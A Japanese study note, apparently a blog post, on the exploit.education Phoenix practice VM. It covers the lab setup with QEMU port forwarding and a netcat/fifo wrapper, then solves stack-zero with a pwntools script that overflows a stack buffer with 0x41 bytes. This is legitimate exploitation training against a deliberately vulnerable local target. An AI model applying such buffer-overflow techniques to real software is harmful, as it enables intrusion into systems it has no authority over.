pwn の学習プロジェクトhttp://exploit.educationを見つけました。一時的に pwn の勉強をすることにしました。メモシリーズを始めてみます(毎回 pwntools スクリプトの書き方を忘れてしまいます)。途中でやめないように願います。小さな目標を設定しましょう。少なくとも Phoenix シリーズを完了させます。
環境の設定#
まず、more-downloads から Phoenix の仮想マシンイメージをダウンロードします。アーキテクチャに応じて選択してください。これがターゲットマシンです。起動する前に、qemu-system-x86
をインストールする必要があります(64 ビットの場合は同じパッケージに含まれています(archlinux))。
boot-balabala.sh
を実行して仮想マシンを起動します。デフォルトでは、ssh がポート 2222 で開かれます。ユーザー名とパスワードはどちらも user です。
プログラム内のプログラムを転送するために netcat を使用したい場合は、起動スクリプトに別のポート転送を追加するだけで十分です。以下にネットワークの行を示します。
-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333
次に、仮想マシン内で次のコマンドを実行します。
mkfifo io
そして、スクリプトファイル(start.sh)を作成します。
#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io
その後、sh start.sh /opt/phoenix/amd64/stack-zero
のようにして netcat を起動できます。ポート 3333 は起動スクリプトと一致するようにしてください。
仮想マシンにはデフォルトで gef がインストールされていますが、使い方がよくわからないので、peda を scp でコピーしました。省略します。
ホストマシンには便利な pwntools もインストールしておきましょう:pip install pwntools
stack-zero#
プログラムは非常にシンプルで、cutter を使用します。
(実際には exploit.education のウェブページにソースコードがあります)(冒頭のコメントはジョークです)
今、s を var_10h(changeme)にオーバーフローさせる必要があります。内容は何でも構いません。gdb を開き、距離を計算し、適当な入力を行います。
文字列は0x620
にあります。
条件文で、changeme はrbp-0x10
、つまり0x670-0x10
にあります。
計算すると0x660-0x620=0x40
です。
したがって、0x41
個の a を出力するだけです。
pwntools の練習のために、コードを書きます。
ここでは、ssh を使用して接続しました。nc は必要ありません。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()
成功